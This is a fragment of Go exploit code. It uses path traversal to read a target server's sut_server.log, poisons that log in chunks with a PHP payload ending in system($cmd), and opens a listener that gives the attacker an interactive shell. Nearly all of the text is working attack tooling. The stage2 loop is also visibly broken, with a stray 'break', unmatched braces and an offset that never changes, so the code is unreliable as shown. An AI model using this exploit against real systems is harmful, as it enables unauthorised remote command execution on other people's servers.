func transferStreams(con net.Conn) {
c := make(chan progress)
// Read from Reader and write to Writer until EOF
copy := func(r io.ReadCloser, w io.WriteCloser) {
defer func() {
r.Close()
w.Close()
}()
n, err := io.Copy(w, r)
if err != nil {
fmt.Printf("[%s]: ERROR: %s\n", con.RemoteAddr(), err)
}
c <- progress{bytes: uint64(n)}
}
go copy(con, os.Stdout)
go copy(os.Stdin, con)
p := <-c
fmt.Printf("[*] [%s]: Connection has been closed by remote peer, %d bytes has been received\n", con.RemoteAddr(), p.bytes)
p = <-c
fmt.Printf("[*] [%s]: Local peer has been stopped, %d bytes has been sent\n", con.RemoteAddr(), p.bytes)
}
func startServer(addr string) {
ln, err := net.Listen("tcp", addr)
if err != nil {
log.Fatalln(err)
}
fmt.Printf("[+] Now listening on %s\n", addr)
con, err := ln.Accept()
if err != nil {
log.Fatalln(err)
}
fmt.Printf("[+] [%s]: Connection has been opened. Press 'RETURN' once to start. Enjoy your shell, good sir.\n", con.RemoteAddr())
transferStreams(con)
}
func stage1(target string, traversal string, installDir string) string {
fmt.Printf("[*] Attacking target %s with assumed install path %s\n", target, installDir)
fmt.Printf("[*] Trying to read 'sut_server.log' to receive hostname of target at %s%s%s/software/LOG/sut_server.log\n", target, traversal, installDir)
path := fmt.Sprintf("%s/software/LOG/sut_server.log", installDir)
success, response := readFile(target, traversal, path)
if !success {
fmt.Printf("[-] It looks like %s%s%s is not there. Provide install_dir to try via args.\n", target, traversal, installDir)
os.Exit(2)
}
hostname := parseHostname(response)
return hostname
}
func stage2(target string, traversal string, installDir string, payloadFinal string) {
/* Stage 2 - poison log with php payload
Special about that is the length of payload junk has max restriction of about 200 characters
Thus we are splitting up the payload escaping the trash we don't need like
the 'n' is nesessary to escape DRIVE:\ which will be DRIVE:\n then
<?php $cmd=''; $foo= '
n'; $cmd.="part1"; $foo='
n'; $cmd.="part2"; $foo='
....
n'; system(cmd); ?>
*/
fmt.Println("[*] Poisoning Log with payload")
/* Start of the php code */
start := customEscape("<?php $cmd=''; $foo='")
success, _ := poison(target, traversal, start)
if !success {
fmt.Println("Poisoning failed. Exiting")
os.Exit(2)
}
/* Looping through payload */
offset := 0
pre := "n'; $cmd.='"
post := "'; $foo='"
if len(payloadFinal)-offset <= 150-len(pre)-len(post) {
break
}
}
/* Send last slice of payload to prevent from out of range error */
payload := payloadFinal[offset:len(payloadFinal)]
poisonPath := payloadEscape(fmt.Sprintf("%s%s%s", pre, payload, post))
success, _ = poison(target, traversal, poisonPath)
if !success {
fmt.Println("Poisoning failed. Exiting")
os.Exit(2)
}
/* End of the php code */
end := customEscape("n'; system($cmd); die; ?>")
success, _ = poison(target, traversal, end)
if !success {
fmt.Println("Poisoning failed. Exiting")
os.Exit(2)
}
}